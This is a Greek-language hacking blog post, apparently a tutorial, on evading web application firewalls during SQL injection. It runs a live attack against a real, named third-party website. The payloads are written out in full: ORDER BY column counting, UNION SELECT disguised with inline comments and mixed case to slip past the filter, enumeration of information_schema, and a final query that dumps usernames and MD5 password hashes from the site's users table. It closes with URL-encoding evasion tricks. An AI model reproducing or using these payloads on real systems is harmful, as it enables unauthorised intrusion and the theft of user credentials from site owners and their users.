web hacking


Bypassing WAF Filters


 Καλησπέρα σε όλους. Τον τελευταίο καιρό λόγω χρόνου οι αναρτήσεις είναι μειωμένες αρκετά αλλά θα συνεχιστούν.

Σήμερα θα δούμε μερικούς απλούς τρόπους για το πως θα παρακάμψετε-προσπεράσετε τα WAF filters των διάφορων ιστοσελίδων. Τα WAF(Web Application Firewall) filters είναι κάποια "φίλτρα" τα οποία εφαρμόζουν ένα σύνολο ενεργειών σε μια "συνομιλία" Http-Https. Αυτό που κάνουν είναι να προστατεύουν την ιστοσελίδα από διάφορες επιθέσεις(όπως SQL Injections, XSS, RFI, RCE κτλ).



Μόλις εντοπίζεται μια πιθανή επίθεση σε μια τρωτή ιστοσελίδα(αν δεν υπήρχαν τα παραπάνω φίλτρα) θα μπλοκάρει το αίτημα και θα εμφανίζει ένα μήνυμα της μορφής "Not Acceptable". Άρα έχουμε να αντιμετωπίσουμε ένα firewall το οποίο μας εμποδίζει από το να αποκτήσουμε πρόσβαση σε δεδομένα στα οποία δεν θα έπρεπε λόγω της χ ευπάθειας.

Σε αυτή την ανάρτηση θα δούμε σε μια ιστοσελίδα που χρησιμοποιεί τα παραπάνω φίλτρα πως να τα παρακάμψουμε με μερικούς απλούς τρόπους.

Η σελίδα που θα δοκιμάσουμε ΔΕΝ ΚΙΝΔΥΝΕΥΕΙ, και θα είναι η http://cloneemotorcentre.ie/faq2.php?id=15. Πάμε να ξεκινήσουμε και να δούμε τι μπορούμε να κάνουμε. Ξεκινάμε φυσικά δοκιμάζοντας αν είναι τρωτή σε SQL Injection προσθέτοντας πολύ απλά ένα ' στο τέλος.

http://cloneemotorcentre.ie/faq2.php?id=15'
Η απάντηση είναι:
(Πατήστε την εικόνα για να τη δείτε σε μεγαλύτερο μέγεθος).

Αυτό το σφάλμα σημαίνει πως μπορούμε να προχωρήσουμε(σε αυτή την ανάρτηση δεν θα εξηγήσουμε τα βασικά των διάφορων τεχνικών SQL Injection).

Συνεχίζουμε...
http://cloneemotorcentre.ie/faq2.php?id=-15+order+by+7--

Πατώντας order+by+8 παίρνουμε error άρα έχει 7 columns(Unknown column '8' in 'order clause).

Μέχρι εδώ όλα πάνε καλά και δεν έχουμε αντιμετωπίσει κάποιο φίλτρο. Πάμε να συνεχίσουμε βρίσκοντας την τρωτή ώστε να αρχίσει το παιχνίδι!

http://cloneemotorcentre.ie/faq2.php?id=-15+union+select+1,2,3,4,5,6,7--

 Ωπ! κάτι παίζει εδώ πέρα! Όπως βλέπετε πέσαμε σε ένα φίλτρο που ανιχνεύει τις εντολές union, select κτλ που στείλαμε(με τη μορφή αιτήματος και η απάντηση είναι η παραπάνω).

Τι σκατά θα κάνουμε τώρα; Bypassing! Ξεκινάμε.

Εδώ θα κάνουμε κάτι καινούριο. Θα γράψουμε στην αρχή κάθε λέξης, χωρισμένης με κενό(ή + ή /**/ κτλ), μετά το + αυτό: /*!union*/+/*!select*/+.......
..
Όπως είδατε βάζουμε στην αρχή το "/*!" και στο τέλος το "*/". Για να το δοκιμάσουμε και λογικά θα είμαστε άρχοντες.


Νάτα μας πάλι! Κατά μεγάλο ποσοστό στις περισσότερες ιστοσελίδες αυτό θα έφτανε αλλά εδώ δεν είναι αρκετό. Πάμε να κάνουμε το κάτι παραπάνω!

http://cloneemotorcentre.ie/faq2.php?id=-15+/*!UnIoN*/+/*!sElEcT*/+1,2,3,4,5,6,7--

Όπως βλέπετε η σελίδα φόρτωσε κανονικά και περάσαμε το φίλτρο αλλάζοντας το union σε UnIoN κτλ! Η τρωτή μας στήλη τώρα είναι η 2!




Συνεχίζουμε τώρα βρίσκοντας το όνομα της Database.

http://cloneemotorcentre.ie/faq2.php?id=-15+/*!UnIoN*/+/*!sElEcT*/+1,database(),3,4,5,6,7--

cloneemo_clonee

Πάμε να κάνουμε κάτι πιο ουσιαστικό και να βρούμε τους πίνακες(tables) που περιέχουν τα στοιχεία της Database.

http://cloneemotorcentre.ie/faq2.php?id=-15+/*!UnIoN*/+/*!sElEcT*/+1,group_concat(table_name),3,4,5,6,7+from+information_schema.tables--

Και βρήκαμε τους πίνακες(αντί να πατάμε μία ώρα limit 1,1 κτλ προτιμήσαμε την εντολή group_concat(...)).

Μέσα στους πίνακες βρήκαμε και έναν με το όνομα users !! Πάμε να βρούμε τις στήλες του(columns).

http://cloneemotorcentre.ie/faq2.php?id=-15+/*!UnIoN*/+/*!sElEcT*/+1,group_concat(column_name),3,4,5,6,7+from+information_schema.columns+where+table_schema=database()--

Βρήκαμε τις στήλες, μεταξύ και των οποίων τις username, password !!. Πάμε να αντλήσουμε τα δεδομένα από εκεί:

http://cloneemotorcentre.ie/faq2.php?id=-15+/*!UnIoN*/+/*!sElEcT*/+1,group_concat(username,0x3a,password,0x3a,id),3,4,5,6,7+from+users--

Και τελειώσαμε! Από τη μια βλέπετε τα ονόματα των χρηστών και δίπλα τον αλγόριθμο κρυπτογράφησης MD5.

Η δουλειά μας τελείωσε και με πολύ απλά βήματα προσπεράσαμε ένα μέτριο φίλτρο(ούτε πολύ δυνατό, ούτε και αδύναμο).

Μερικοί άλλοι τρόποι ώστε να κάνετε bypass είναι να μετατρέπετε σε HEX τα διάφορα σύμβολα. Π.χ ψάχνετε για LFI σε μια ιστοσελίδα και δεν σας επιτρέπει να εκτελέσετε τις εντολές.
Πολύ απλά θα μετατρέψετε την σε %2f και έχετε πιθανότητες να προσπεράσετε το φίλτρο.

Ένας άλλος πολύ καλός τρόπος να κάνετε bypass είναι να γράψετε αντί για /*!Union*/+/*!Select*/ το %55nion/**/%53elect όπου το %55 = U και το %53=S.
 Ακόμα αντί για " "(κενό) να γράφετε %20.

UPDATE1: Επειδή κάποιος με ρώτησε πως μπορεί να ανιχνεύσει αυτά τα φίλτρα μπορείτε να χρησιμοποιήσετε ένα εργαλείο το οποίο ονομάζεται WAFWOOF και θα το βρείτε στο backtrack. 

Αυτή η ιστοσελίδα θα σας βοηθήσει

Δεν υπάρχουν σχόλια:

Δημοσίευση σχολίου